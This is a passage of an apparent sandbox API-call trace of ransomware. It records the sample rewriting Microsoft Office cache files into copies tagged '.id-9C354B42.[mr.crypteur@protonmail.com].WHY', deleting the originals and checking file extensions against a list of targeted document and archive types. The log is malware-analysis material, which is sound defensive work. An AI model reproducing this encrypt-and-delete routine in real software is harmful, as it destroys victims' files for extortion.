Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0064.783] GetLastError () returned 0x0 [0064.783] ReadFile (in: hFile=0x204, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x2488, lpOverlapped=0x0) returned 1 [0065.399] WriteFile (in: hFile=0x208, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x2490, lpOverlapped=0x0) returned 1 [0065.402] ReadFile (in: hFile=0x204, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.402] WriteFile (in: hFile=0x208, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0065.402] SetEndOfFile (hFile=0x208) returned 1 [0065.403] CloseHandle (hObject=0x208) returned 1 [0065.406] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.406] SetEndOfFile (hFile=0x204) returned 1 [0065.408] CloseHandle (hObject=0x204) returned 1 [0065.409] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0065.409] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0065.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.410] lstrlenW (lpString=".doc") returned 4 [0065.410] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.410] lstrlenW (lpString=".docx") returned 5 [0065.410] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0065.410] lstrlenW (lpString=".pdf") returned 4 [0065.410] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.410] lstrlenW (lpString=".xls") returned 4 [0065.410] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.411] lstrlenW (lpString=".xlsx") returned 5 [0065.411] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0065.411] lstrlenW (lpString=".ppt") returned 4 [0065.411] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.411] lstrlenW (lpString=".zip") returned 4 [0065.411] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.411] lstrlenW (lpString=".rar") returned 4 [0065.411] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.411] lstrlenW (lpString=".bz2") returned 4 [0065.411] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.411] lstrlenW (lpString=".7z") returned 3 [0065.412] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.412] lstrlenW (lpString=".dbf") returned 4 [0065.412] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.412] lstrlenW (lpString=".1cd") returned 4 [0065.412] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.412] lstrlenW (lpString=".jpg") returned 4 [0065.412] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.413] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.413] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.413] lstrlenW (lpString=".doc") returned 4 [0065.413] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.413] lstrlenW (lpString=".docx") returned 5 [0065.413] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0065.413] lstrlenW (lpString=".pdf") returned 4 [0065.414] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.414] lstrlenW (lpString=".xls") returned 4 [0065.414] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.414] lstrlenW (lpString=".xlsx") returned 5 [0065.414] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0065.414] lstrlenW (lpString=".ppt") returned 4 [0065.414] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.414] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.414] lstrlenW (lpString=".zip") returned 4 [0065.414] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.414] lstrlenW (lpString=".rar") returned 4 [0065.414] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.415] lstrlenW (lpString=".bz2") returned 4 [0065.415] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.415] lstrlenW (lpString=".7z") returned 3 [0065.415] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.415] lstrlenW (lpString=".dbf") returned 4 [0065.415] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.415] lstrlenW (lpString=".1cd") returned 4 [0065.415] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.415] lstrlenW (lpString=".jpg") returned 4 [0065.415] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.416] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0065.416] lstrlenW (lpString="AccessMUISet.xml") returned 16 [0065.416] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0065.417] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=819) returned 1 [0065.417] CloseHandle (hObject=0x204) returned 1 [0065.417] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 0x2020 [0065.417] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0065.417] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0065.417] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.418] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.418] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0065.418] GetLastError () returned 0x0 [0065.419] ReadFile (in: hFile=0x204, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x333, lpOverlapped=0x0) returned 1 [0065.494] WriteFile (in: hFile=0x208, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x340, lpOverlapped=0x0) returned 1 [0065.497] ReadFile (in: hFile=0x204, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.497] WriteFile (in: hFile=0x208, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0065.498] SetEndOfFile (hFile=0x208) returned 1 [0065.498] CloseHandle (hObject=0x208) returned 1 [0065.499] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.499] SetEndOfFile (hFile=0x204) returned 1 [0065.502] CloseHandle (hObject=0x204) returned 1 [0065.502] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0065.502] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 1 [0065.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0065.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0065.503] lstrlenW (lpString=".doc") returned 4 [0065.503] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.503] lstrlenW (lpString=".docx") returned 5 [0065.503] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0065.503] lstrlenW (lpString=".pdf") returned 4 [0065.503] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.503] lstrlenW (lpString=".xls") returned 4 [0065.503] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.503] lstrlenW (lpString=".xlsx") returned 5 [0065.504] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0065.504] lstrlenW (lpString=".ppt") returned 4 [0065.504] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0065.504] lstrlenW (lpString=".zip") returned 4 [0065.504] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.504] lstrlenW (lpString=".rar") returned 4 [0065.504] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.504] lstrlenW (lpString=".bz2") returned 4 [0065.504] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.504] lstrlenW (lpString=".7z") returned 3 [0065.504] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0065.505] lstrlenW (lpString=".dbf") returned 4 [0065.505] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0065.505] lstrlenW (lpString=".1cd") returned 4 [0065.505] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0065.505] lstrlenW (lpString=".jpg") returned 4 [0065.505] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0065.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0065.505] lstrlenW (lpString=".doc") returned 4 [0065.505] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.506] lstrlenW (lpString=".docx") returned 5 [0065.506] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0065.506] lstrlenW (lpString=".pdf") returned 4 [0065.506] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.506] lstrlenW (lpString=".xls") returned 4 [0065.506] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.506] lstrlenW (lpString=".xlsx") returned 5 [0065.506] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0065.506] lstrlenW (lpString=".ppt") returned 4 [0065.506] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0065.506] lstrlenW (lpString=".zip") returned 4 [0065.506] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.506] lstrlenW (lpString=".rar") returned 4 [0065.506] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.507] lstrlenW (lpString=".bz2") returned 4 [0065.507] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.507] lstrlenW (lpString=".7z") returned 3 [0065.507] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0065.507] lstrlenW (lpString=".dbf") returned 4 [0065.507] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0065.507] lstrlenW (lpString=".1cd") returned 4 [0065.507] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0065.507] lstrlenW (lpString=".jpg") returned 4 [0065.507] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.945] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0065.945] lstrlenW (lpString="ProPlusrWW.xml") returned 14 [0065.945] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.366] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=16852) returned 1 [0066.366] CloseHandle (hObject=0x1e4) returned 1 [0066.366] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 0x2020 [0066.366] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0066.367] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.367] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.367] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.367] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0066.368] GetLastError () returned 0x0 [0066.368] ReadFile (in: hFile=0x1e4, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x41d4, lpOverlapped=0x0) returned 1 [0066.429] WriteFile (in: hFile=0x1a0, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0066.433] ReadFile (in: hFile=0x1e4, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.433] WriteFile (in: hFile=0x1a0, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0066.433] SetEndOfFile (hFile=0x1a0) returned 1 [0066.433] CloseHandle (hObject=0x1a0) returned 1 [0066.435] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.435] SetEndOfFile (hFile=0x1e4) returned 1 [0066.437] CloseHandle (hObject=0x1e4) returned 1 [0066.437] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0066.438] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 1 [0066.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0066.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0066.438] lstrlenW (lpString=".doc") returned 4 [0066.439] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.439] lstrlenW (lpString=".docx") returned 5 [0066.439] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0066.439] lstrlenW (lpString=".pdf") returned 4 [0066.439] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.439] lstrlenW (lpString=".xls") returned 4 [0066.439] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.439] lstrlenW (lpString=".xlsx") returned 5 [0066.439] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0066.439] lstrlenW (lpString=".ppt") returned 4 [0066.439] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0066.439] lstrlenW (lpString=".zip") returned 4 [0066.439] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.439] lstrlenW (lpString=".rar") returned 4 [0066.440] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.440] lstrlenW (lpString=".bz2") returned 4 [0066.440] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.440] lstrlenW (lpString=".7z") returned 3 [0066.440] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0066.440] lstrlenW (lpString=".dbf") returned 4 [0066.440] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0066.440] lstrlenW (lpString=".1cd") returned 4 [0066.440] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0066.440] lstrlenW (lpString=".jpg") returned 4 [0066.441] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0066.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0066.441] lstrlenW (lpString=".doc") returned 4 [0066.441] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.441] lstrlenW (lpString=".docx") returned 5 [0066.441] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0066.441] lstrlenW (lpString=".pdf") returned 4 [0066.441] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.441] lstrlenW (lpString=".xls") returned 4 [0066.441] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.441] lstrlenW (lpString=".xlsx") returned 5 [0066.441] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0066.442] lstrlenW (lpString=".ppt") returned 4 [0066.442] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0066.442] lstrlenW (lpString=".zip") returned 4 [0066.442] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.442] lstrlenW (lpString=".rar") returned 4 [0066.442] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.442] lstrlenW (lpString=".bz2") returned 4 [0066.442] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.442] lstrlenW (lpString=".7z") returned 3 [0066.442] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0066.442] lstrlenW (lpString=".dbf") returned 4 [0066.442] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0066.442] lstrlenW (lpString=".1cd") returned 4 [0066.443] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.443] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0066.443] lstrlenW (lpString=".jpg") returned 4 [0066.443] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.444] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0066.444] lstrlenW (lpString="Setup.xml") returned 9 [0066.444] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.445] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=16683) returned 1 [0066.445] CloseHandle (hObject=0x1e4) returned 1 [0066.445] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0066.445] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0066.445] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 